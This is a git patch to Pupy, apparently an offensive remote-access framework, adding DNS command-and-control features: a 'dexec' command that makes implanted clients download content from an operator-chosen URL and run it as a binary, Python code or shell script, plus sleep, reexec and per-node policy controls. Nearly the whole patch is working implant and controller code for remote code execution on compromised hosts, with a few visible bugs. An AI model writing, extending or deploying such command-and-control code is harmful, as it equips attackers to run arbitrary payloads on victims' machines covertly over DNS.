From 8c4688becf444c100000be519f940c6d711d6380 Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk
Date: Fri, 3 Mar 2017 17:07:09 +0200
Subject: [PATCH] Add new DNSCNC commands - dexec, sleep, reexec
---
pupy/network/lib/launchers/dnscnc.py | 32 ++++++++
pupy/network/lib/picocmd/client.py | 92 +++++++++++++++++++++-
pupy/network/lib/picocmd/picocmd.py | 113 ++++++++++++++++++++++++++-
pupy/network/lib/picocmd/server.py | 49 ++++++++++--
pupy/pupylib/PupyCmd.py | 84 ++++++++++++++------
pupy/pupylib/PupyDnsCnc.py | 31 +++++++-
6 files changed, 361 insertions(+), 40 deletions(-)
diff --git a/pupy/network/lib/launchers/dnscnc.py b/pupy/network/lib/launchers/dnscnc.py
index 8e669766..f0459e4a 100644
--- a/pupy/network/lib/launchers/dnscnc.py
+++ b/pupy/network/lib/launchers/dnscnc.py
@@ -10,6 +10,7 @@ import socket
import os
import logging
+import subprocess
class DNSCommandClientLauncher(DnsCommandsClient):
def __init__(self, domain):
@@ -28,6 +29,9 @@ class DNSCommandClientLauncher(DnsCommandsClient):
DnsCommandsClient.__init__(self, domain, key=key)
+ def on_downloadexec_content(self, url, action, content):
+ self.on_pastelink_content(url, action, content)
+
def on_pastelink_content(self, url, action, content):
if action.startswith('exec'):
with tempfile.NamedTemporaryFile() as tmp:
@@ -41,6 +45,34 @@ class DNSCommandClientLauncher(DnsCommandsClient):
exec content
except Exception as e:
logging.exception(e)
+ elif action.startswith('sh'):
+ try:
+ pipe = None
+ if platform.system == 'Windows':
+ kwargs = {
+ 'stdin': subprocess.PIPE
+ }
+
+ if hasattr(subprocess, 'STARTUPINFO'):
+ startupinfo = subprocess.STARTUPINFO()
+ startupinfo.dwFlags |= \
+ subprocess.CREATE_NEW_CONSOLE | \
+ subprocess.STARTF_USESHOWWINDOW
+
+ kwargs.update({
+ 'startupinfo': startupinfo,
+ })
+
+ pipe = subprocess.Pipe('cmd.exe', **kwargs)
+ else:
+ pipe = subprocess.Popen(['/bin/sh'], stdin=subprocess.PIPE)
+
+ pipe.stdin.write(content)
+ pipe.stdin.close()
+ pipe.communicate()
+
+ except Exception as e:
+ logging.exception(e)
def on_connect(self, ip, port, transport):
with self.lock:
diff --git a/pupy/network/lib/picocmd/client.py b/pupy/network/lib/picocmd/client.py
index efd58d60..d50b60d2 100644
--- a/pupy/network/lib/picocmd/client.py
+++ b/pupy/network/lib/picocmd/client.py
@@ -15,6 +15,7 @@ import zlib
import tempfile
import subprocess
import logging
+import urllib
import urllib2
from ecpv import ECPV
@@ -22,12 +23,73 @@ from picocmd import *
from threading import Thread
+class TCPFile(StringIO.StringIO):
+ pass
+
+class TCPReaderHandler(urllib2.BaseHandler):
+ def tcp_open(self, req):
+ addr = req.get_host().rsplit(':', 1)
+ host = addr[0]
+ if len(addr) == 1:
+ port = 53
+ else:
+ port = addr[1]
+
+ data = []
+ conn = socket.create_connection((host, port))
+ conn.settimeout(30)
+
+ try:
+ while True:
+ b = conn.recv(65535)
+ if not b:
+ break
+
+ data.append(b)
+
+ if not data:
+ raise ValueError('No data')
+ except:
+ pass
+
+ data = b''.join(data)
+
+ fp = TCPFile(data)
+ if data:
+ headers = {
+ 'Content-type': 'application/octet-stream',
+ 'Content-length': len(data),
+ }
+ code = 200
+ else:
+ headers = {}
+ code = 404
+
+ return urllib.addinfourl(fp, headers, req.get_full_url(), code=code)
+
+urllib2.install_opener(
+ urllib2.build_opener(TCPReaderHandler())
+)
+
class DnsCommandClientDecodingError(Exception):
pass
+__DEBUG = 0
+
+if __DEBUG:
+ import dns.resolver
+ resolver = dns.resolver.Resolver()
+ resolver.nameservers = [ '127.0.0.1' ]
+ resolver.port = 5454
+ socket.gethostbyname_ex = lambda x: (None, None, [
+ str(rdata) for rdata in resolver.query(x, 'A')
+ ])
+
class DnsCommandsClient(Thread):
def __init__(self, domain, key):
- self.domain = domain
+ self.domains = domain.split(',')
+ self.domain_id = 0
+ self.domain = self.domains[self.domain_id]
self.translation = dict(zip(
''.join([
''.join([chr(x) for x in xrange(ord('A'), ord('Z') + 1)]),
@@ -48,6 +110,9 @@ class DnsCommandsClient(Thread):
Thread.__init__(self)
+ def next(self):
+ self.domain_id = ( self.domain + 1 ) % len(self.domains)
+ self.domain = self.domains[self.domain_id]
def _a_page_decoder(self, addresses, nonce, symmetric=None):
if symmetric is None:
@@ -107,6 +172,7 @@ class DnsCommandsClient(Thread):
except socket.error as e:
logging.error('DNSCNC: Communication error: {}'.format(e))
+ self.next()
return []
response = None
@@ -157,12 +223,32 @@ class DnsCommandsClient(Thread):
except Exception as e:
logging.exception(e)
+ def on_downloadexec(self, url, action, use_proxy):
+ if use_proxy:
+ opener = urllib2.build_opener(urllib2.ProxyHandler()).open
+ else:
+ opener = urllib2.urlopen
+
+ try:
+ response = opener(url)
+ if response.code == 200:
+ self.on_downloadexec_content(url, action, response.read())
+
+ except Exception as e:
+ logging.exception(e)
+
def on_pastelink_content(self, url, action, content):
pass
+ def on_downloadexec_content(self, url, action, content):
+ pass
+
def on_connect(self, ip, port, transport):
pass
+ def on_checkconnect(self, host, port_start, port_end=None):
+ pass
+
def on_exit(self):
self.active = False
@@ -202,6 +288,8 @@ class DnsCommandsClient(Thread):
response))
elif isinstance(command, PasteLink):
self.on_pastelink(command.url, command.action, self.encoder)
+ elif isinstance(command, DownloadExec):
+ self.on_downloadexec(command.url, command.action, command.proxy)
elif isinstance(command, Connect):
self.on_connect(command.ip, command.port, transport=command.transport)
elif isinstance(command, Error):
@@ -210,6 +298,8 @@ class DnsCommandsClient(Thread):
self.on_disconnect()
elif isinstance(command, Sleep):
time.sleep(command.timeout)
+ elif isinstance(command, CheckConnect):
+ self.on_checkconnect(command.host, command.port_start, port_end=command.port_end)
elif isinstance(command, Reexec):
executable = os.readlink('/proc/self/exe')
args = open('/proc/self/cmdline').read().split('\x00')
diff --git a/pupy/network/lib/picocmd/picocmd.py b/pupy/network/lib/picocmd/picocmd.py
index 5d589129..c8fd8f11 100644
--- a/pupy/network/lib/picocmd/picocmd.py
+++ b/pupy/network/lib/picocmd/picocmd.py
@@ -12,6 +12,9 @@ import platform
import uuid
import uptime
import urllib2
+import urlparse
+import StringIO
+import socket
def from_bytes(bytes):
return sum(ord(byte) * (256**i) for i, byte in enumerate(bytes))
@@ -70,18 +73,41 @@ class Sleep(Command):
@staticmethod
def unpack(data):
return Sleep(
- struct.unpack_from(' 16:
+ raise ValueError('Too big url path')
+
+ try:
+ scheme = self.well_known_downloadexec_scheme_encode[
+ url.scheme
+ ]
+ except:
+ raise ValueError('Unknown scheme: {}'.format(url.scheme))
+
+ code = (self.proxy << 5) | (action << 3) | scheme
+
+ return struct.pack(
+ 'BIHB', code, addr, port, len(path)
+ ) + path
+
+ def __repr__(self):
+ return '{{DEXEC: URL={} ACTION={} PROXY={}}}'.format(
+ self.url, self.action, self.proxy
+ )
+
+ @staticmethod
+ def unpack(data):
+ bsize = struct.calcsize('BIHB')
+ code, addr, port, plen = struct.unpack_from('BIHB', data)
+ action = DownloadExec.well_known_downloadexec_action_decode[(code >> 3) & 3]
+ scheme = DownloadExec.well_known_downloadexec_scheme_decode[code & 7]
+ proxy = bool((code >> 5) & 1)
+ host = str(netaddr.IPAddress(addr))
+ port = ':{}'.format(port) if port else (
+ '' if scheme in ('http', 'ftp', 'https') else 53
+ )
+ path = data[bsize:plen]
+ return DownloadExec('{}://{}{}{}'.format(
+ scheme, host, port, path
+ ), action, proxy), bsize+plen
+
class PasteLink(Command):
internet_required = True
@@ -349,7 +454,7 @@ class PasteLink(Command):
# 4 max - 2 bits
well_known_pastebin_action_decode = dict(enumerate([
- 'pyexec', 'exec'
+ 'pyexec', 'exec', 'sh'
]))
well_known_pastebin_action_encode = {
@@ -467,7 +572,7 @@ class Parcel(object):
commands = [
Poll, Ack, Policy, Idle, Kex,
Connect, PasteLink, SystemInfo, Error, Disconnect, Exit,
- Sleep, Reexec
+ Sleep, Reexec, DownloadExec, CheckConnect
]
commands_decode = dict(enumerate(commands))
diff --git a/pupy/network/lib/picocmd/server.py b/pupy/network/lib/picocmd/server.py
index 2c69f995..dfcf1f07 100644
--- a/pupy/network/lib/picocmd/server.py
+++ b/pupy/network/lib/picocmd/server.py
@@ -25,17 +25,26 @@ from ecpv import ECPV
from threading import Thread, RLock, Event
class Session(object):
- def __init__(self, spi, encoder, commands):
+ def __init__(self, spi, encoder, commands, timeout):
self.spi = spi
self._start = time.time()
self._encoder = encoder
self._last_access = 0
+ self._timeout = timeout
self.system_info = None
self.commands = commands
self.last_nonce = None
self.last_qname = None
self.cache = {}
+ @property
+ def timeout(self):
+ return ( self.idle > self._timeout )
+
+ @timeout.setter
+ def timeout(self, value):
+ self._timeout = value
+
@property
def idle(self):
return int(time.time() - self._last_access)
@@ -206,19 +215,42 @@ class DnsCommandServerHandler(BaseResolver):
]
@locked
- def set_policy(self, kex=True, timeout=None, interval=None):
+ def set_policy(self, kex=True, timeout=None, interval=None, node=None):
if kex == self.kex and self.timeout == timeout and self.interval == self.interval:
return
if interval and interval < 30:
raise ValueError('Interval should not be less then 30s to avoid DNS storm')
- self.interval = interval or self.interval
- self.timeout = max(timeout if timeout else self.timeout, self.interval*3)
- self.kex = kex if ( kex is not None ) else self.kex
+ if node and (interval or timeout):
+ session = self.find_sessions(
+ spi=node) or self.find_sessions(node=node)
- cmd = Policy(self.interval, self.kex)
- return self.add_command(cmd)
+ if session:
+ session = session[0]
+
+ if interval:
+ session.timeout = (interval*3)
+ else:
+ interval = self.interval
+
+ if timeout:
+ session.timeout = timeout
+
+ if kex is None:
+ kex = self.kex
+
+ else:
+ self.interval = interval or self.interval
+ self.timeout = max(timeout if timeout else self.timeout, self.interval*3)
+ self.kex = kex if ( kex is not None ) else self.kex
+
+ interval = self.interval
+ timeout = self.timeout
+ kex = self.kex
+
+ cmd = Policy(interval, kex)
+ return self.add_command(cmd, session=node)
@locked
def encode_pastelink_content(self, content):
@@ -333,7 +365,8 @@ class DnsCommandServerHandler(BaseResolver):
self.sessions[command.spi] = Session(
command.spi,
self.encoder.clone(),
- self.commands
+ self.commands,
+ self.timeout
)
encoder = self.sessions[command.spi].encoder
diff --git a/pupy/pupylib/PupyCmd.py b/pupy/pupylib/PupyCmd.py
index dd2928c0..98774fee 100644
--- a/pupy/pupylib/PupyCmd.py
+++ b/pupy/pupylib/PupyCmd.py
@@ -684,6 +684,10 @@ class PupyCmd(cmd.Cmd):
arg_parser = PupyArgumentParser(
prog='dnscnc', description=self.do_dnscnc.__doc__)
+ arg_parser.add_argument('-n', '--node', help='Send command only to this node (or session)')
+ arg_parser.add_argument('-d', '--default', action='store_true', default=False,
+ help='Set command as default for new connections')
+
commands = arg_parser.add_subparsers(title='commands', dest='command')
status = commands.add_parser('status', help='DNSCNC status')
clist = commands.add_parser('list', help='List known DNSCNC clients')
@@ -694,36 +698,33 @@ class PupyCmd(cmd.Cmd):
policy.add_argument('-t', '--timeout', type=int, help='Set session timeout')
connect = commands.add_parser('connect', help='Request reverse connection')
- connect.add_argument('-n', '--node', help='Send command only to this node')
- connect.add_argument('-d', '--default', action='store_true', default=False,
- help='Set command as default for new connections')
connect.add_argument('-c', '--host', help='Manually specify external IP address for connection')
connect.add_argument('-p', '--port', help='Manually specify external PORT for connection')
connect.add_argument('-t', '--transport', help='Manually specify transport for connection')
reset = commands.add_parser('reset', help='Reset scheduled commands')
- reset.add_argument('-n', '--node', help='Remove all commands for specified node')
- reset.add_argument('-d', '--default', action='store_true', default=False,
- help='Remove all default commands')
disconnect = commands.add_parser('disconnect', help='Request disconnection')
- disconnect.add_argument('-d', '--default', action='store_true', default=False,
- help='Set command as default for new connections')
- disconnect.add_argument('-n', '--node', help='Send command only to this node')
- exit = commands.add_parser('exit', help='Request exit')
- exit.add_argument('-d', '--default', action='store_true', default=False,
- help='Set command as default for new connections')
- exit.add_argument('-n', '--node', help='Send command only to this node')
+ reexec = commands.add_parser('reexec', help='Try to reexec module')
- pastelink = commands.add_parser('pastelink', help='Execute code by link')
- pastelink.add_argument('-a', '--action', choices=['exec', 'pyexec'], default='pyexec',
- help='Action - execute as executable, or evaluate as python code')
+ sleep = commands.add_parser('sleep', help='Postpone any activity')
+ sleep.add_argument('-t', '--timeout', default=10, type=int, help='Timeout (seconds)')
+
+ pastelink = commands.add_parser('pastelink', help='Execute code by link to pastebin service')
+ pastelink.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec',
+ help='Action - execute as executable, or evaluate as python/sh code')
pastelink_src = pastelink.add_mutually_exclusive_group(required=True)
pastelink_src.add_argument('-c', '--create', help='Create new pastelink from file')
pastelink_src.add_argument('-u', '--url', help='Specify existing URL')
- pastelink.add_argument('-d', '--default', action='store_true', default=False,
- help='Set command as default for new connections')
- pastelink.add_argument('-n', '--node', help='Send command only to this node')
+
+ dexec = commands.add_parser('dexec', help='Execute code by link to service controlled by you')
+ dexec.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec',
+ help='Action - execute as executable, or evaluate as python/sh code')
+ dexec.add_argument('-u', '--url', required=True, help='URL to data')
+ dexec.add_argument('-p', '--proxy', action='store_true', default=False,
+ help='Ask to use system proxy (http/https only)')
+
+ exit = commands.add_parser('exit', help='Request exit')
try:
args = arg_parser.parse_args(shlex.split(arg))
@@ -802,7 +803,7 @@ class PupyCmd(cmd.Cmd):
if all([x is None for x in [args.kex, args.timeout, args.poll]]):
self.display_error('No arguments provided.')
else:
- count = self.dnscnc.set_policy(args.kex, args.timeout, args.poll)
+ count = self.dnscnc.set_policy(args.kex, args.timeout, args.poll, node=args.node)
if count:
self.display_success('Apply policy to {} known nodes'.format(count))
@@ -853,12 +854,49 @@ class PupyCmd(cmd.Cmd):
elif args.node:
self.display_error('Node {} not found'.format(args.node))
+ elif args.command == 'reexec':
+ count = self.dnscnc.reexec(
+ node=args.node,
+ default=args.default
+ )
+
+ if count:
+ self.display_success('Schedule reexec to {} known nodes'.format(count))
+ elif args.node:
+ self.display_error('Node {} not found'.format(args.node))
+
+ elif args.command == 'sleep':
+ count = self.dnscnc.sleep(
+ args.timeout,
+ node=args.node,
+ default=args.default
+ )
+
+ if count:
+ self.display_success('Schedule sleep to {} known nodes'.format(count))
+ elif args.node:
+ self.display_error('Node {} not found'.format(args.node))
+
+ elif args.command == 'dexec':
+ count = self.dnscnc.dexec(
+ args.url,
+ args.action,
+ proxy=args.proxy,
+ node=args.node,
+ default=args.default
+ )
+
+ if count:
+ self.display_success('Schedule sleep to {} known nodes'.format(count))
+ elif args.node:
+ self.display_error('Node {} not found'.format(args.node))
+
elif args.command == 'pastelink':
try:
count, url = self.dnscnc.pastelink(
- content=args.create,
- url=args.url,
- action=args.action,
+ args.url,
+ args.action,
+ proxy=args.proxy,
node=args.node,
default=args.default
)
diff --git a/pupy/pupylib/PupyDnsCnc.py b/pupy/pupylib/PupyDnsCnc.py
index 9c1863f8..853bfbf1 100644
--- a/pupy/pupylib/PupyDnsCnc.py
+++ b/pupy/pupylib/PupyDnsCnc.py
@@ -33,12 +33,26 @@ class PupyDnsCommandServerHandler(DnsCommandServerHandler):
def disconnect(self, node=None, default=False):
return self.add_command(Disconnect(), session=node, default=default)
+ def reexec(self, node=None, default=False):
+ return self.add_command(Reexec(), session=node, default=default)
+
+ def sleep(self, timeout, node=None, default=False):
+ return self.add_command(Sleep(timeout), session=node, default=default)
+
def exit(self, node=None, default=False):
return self.add_command(Exit(), session=node, default=default)
- def pastelink(self, url, action, node=None, default=None):
- return self.add_command(PasteLink(url, action=action), session=node, default=default)
+ def dexec(self, url, action, proxy=False, node=None, default=None):
+ return self.add_command(
+ DownloadExec(url, action=action, proxy=proxy),
+ session=node, default=default
+ )
+ def pastelink(self, url, action, node=None, default=None):
+ return self.add_command(
+ PasteLink(url, action=action),
+ session=node, default=default
+ )
class PupyDnsCnc(object):
def __init__(
@@ -95,9 +109,18 @@ class PupyDnsCnc(object):
def exit(self, **kwargs):
return self.handler.exit(**kwargs)
+ def sleep(self, *args, **kwargs):
+ return self.handler.sleep(*args, **kwargs)
+
+ def reexec(self, **kwargs):
+ return self.handler.reexec(**kwargs)
+
def reset(self, **kwargs):
return self.handler.reset_commands(**kwargs)
+ def dexec(self, *args, **kwargs):
+ return self.handler.dexec(*args, **kwargs)
+
def pastelink(self, content=None, url=None, action='pyeval', node=None, default=False):
if not ( content or url ):
raise ValueError('content and url args are empty')
@@ -134,8 +157,8 @@ class PupyDnsCnc(object):
'kex': self.handler.kex,
}
- def set_policy(self, kex, timeout, interval):
- return self.handler.set_policy(kex=kex, timeout=timeout, interval=interval)
+ def set_policy(self, *args, **kwargs):
+ return self.handler.set_policy(*args, **kwargs)
@property
def dirty(self):